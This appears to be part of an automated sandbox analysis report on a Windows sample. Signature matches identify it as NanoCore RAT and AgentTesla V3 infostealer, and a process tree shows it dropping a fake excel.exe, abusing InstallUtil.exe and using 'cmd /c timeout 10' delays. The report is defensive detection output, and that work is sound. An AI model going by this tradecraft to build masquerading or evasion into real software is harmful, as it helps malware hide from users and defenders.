Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 15.2.Qjarsxlh.exe.4417b90.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 14.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.TM57812337.exe.3637b90.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.5cd0000.6.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3ef0b30.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.5cd0000.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 33.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.3.TM57812337.exe.36a8e60.1.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.3.TM57812337.exe.3688e40.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3fb0b70.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.3.Qjarsxlh.exe.4468e40.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.3.TM57812337.exe.3768ea0.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0000000C.00000002.476919142.0000000005CD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 00000020.00000002.491043035.0000000006090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000020.00000002.491043035.0000000006090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000020.00000002.491043035.0000000006090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_NanoCore author = ditekSHen, description = Detects NanoCore
Source: 00000000.00000002.360544284.00000000052C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000010.00000002.508484748.00000000059F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.475784725.0000000002E04000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000C.00000002.475784725.0000000002E04000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000F.00000002.491110453.00000000061C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 00000022.00000002.541013237.00000000057B0000.00000004.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Detected potential crypto function
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231B348 0_2_0231B348
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231A0F8 0_2_0231A0F8
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_02316B80 0_2_02316B80
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231D848 0_2_0231D848
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_02319929 0_2_02319929
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_0231B5E0 0_2_0231B5E0
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_02316EB0 0_2_02316EB0
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_02317C68 0_2_02317C68
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_05400448 0_2_05400448
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_05408CF0 0_2_05408CF0
Source: C:\Users\user\Desktop\TM57812337.exe Code function: 0_2_053F0578 0_2_053F0578
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C1B2A8 12_2_02C1B2A8
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C1A058 12_2_02C1A058
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C1D7A8 12_2_02C1D7A8
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C16AE0 12_2_02C16AE0
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C19889 12_2_02C19889
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C1B540 12_2_02C1B540
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C17B60 12_2_02C17B60
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_02C16E10 12_2_02C16E10
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_05E28CF0 12_2_05E28CF0
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Code function: 12_2_05E10578 12_2_05E10578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_013CF0C0 14_2_013CF0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_013CF408 14_2_013CF408
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_060CBC90 14_2_060CBC90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_060CC9F0 14_2_060CC9F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_060C1FF8 14_2_060C1FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_060C8828 14_2_060C8828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_060C0040 14_2_060C0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_06707FC0 14_2_06707FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_067058D0 14_2_067058D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0670F510 14_2_0670F510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0670B6F7 14_2_0670B6F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_06709FA8 14_2_06709FA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0670B7A8 14_2_0670B7A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_06705780 14_2_06705780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_06707028 14_2_06707028
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0670D0B0 14_2_0670D0B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0670F4AC 14_2_0670F4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_068516B8 14_2_068516B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0685A8C8 14_2_0685A8C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_0685CC7D 14_2_0685CC7D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_06854158 14_2_06854158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: 14_2_068564E8 14_2_068564E8
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 15_2_056C8CF0 15_2_056C8CF0
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 15_2_056C6E08 15_2_056C6E08
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 15_2_056B0578 15_2_056B0578
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CB338 16_2_028CB338
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CA0F8 16_2_028CA0F8
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028C6B6F 16_2_028C6B6F
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CD848 16_2_028CD848
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028C9960 16_2_028C9960
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028CB5F0 16_2_028CB5F0
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028C6EB0 16_2_028C6EB0
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_028C7C68 16_2_028C7C68
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Code function: 16_2_05000578 16_2_05000578
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Code function: 20_2_00BE20B0 20_2_00BE20B0
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Code function: 20_2_02CB07C8 20_2_02CB07C8
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Code function: 29_2_00F720B0 29_2_00F720B0
Source: C:\Users\user\AppData\Roaming\excel\excel.exe Code function: 29_2_030407C8 29_2_030407C8
Found potential string decryption / allocating functions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Code function: String function: 060C5A58 appears 54 times
Sample file is different than original file name gathered from version info
Source: TM57812337.exe Binary or memory string: OriginalFilename vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000002.360544284.00000000052C0000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameZeiiwrk.dll" vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000003.306396686.000000000362E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameZeiiwrk.dll" vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000002.360116472.00000000025C7000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVyByKKDDVpahvPjSStHl.exe4 vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000002.360421539.0000000003637000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVyByKKDDVpahvPjSStHl.exe4 vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameZeiiwrk.dll" vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000003.306551945.0000000003768000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000002.360171789.0000000002626000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000002.360648137.0000000005390000.00000004.08000000.00040000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000003.307114547.000000000383B000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs TM57812337.exe
Source: TM57812337.exe, 00000000.00000002.360358801.00000000035A8000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenameVyByKKDDVpahvPjSStHl.exe4 vs TM57812337.exe
Source: TM57812337.exe Virustotal: Detection: 39%
Source: TM57812337.exe ReversingLabs: Detection: 26%
Source: C:\Users\user\Desktop\TM57812337.exe File read: C:\Users\user\Desktop\TM57812337.exe Jump to behavior
Source: TM57812337.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\TM57812337.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\TM57812337.exe "C:\Users\user\Desktop\TM57812337.exe"
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe "C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe"
Source: C:\Users\user\Desktop\TM57812337.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe "C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe "C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe"
Source: C:\Users\user\AppData\Local\Temp\Qqsucntzxgqwkiqkvrafiufflip.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: unknown Process created: C:\Users\user\AppData\Roaming\excel\excel.exe "C:\Users\user\AppData\Roaming\excel\excel.exe"
Source: C:\Windows\System32\conhost.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
Source: C:\Users\user\AppData\Local\Ujxomvdv\Qjarsxlh.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 10
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Roaming\excel\excel.exe "C:\Users\user\AppData\Roaming\excel\excel.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe timeout 10
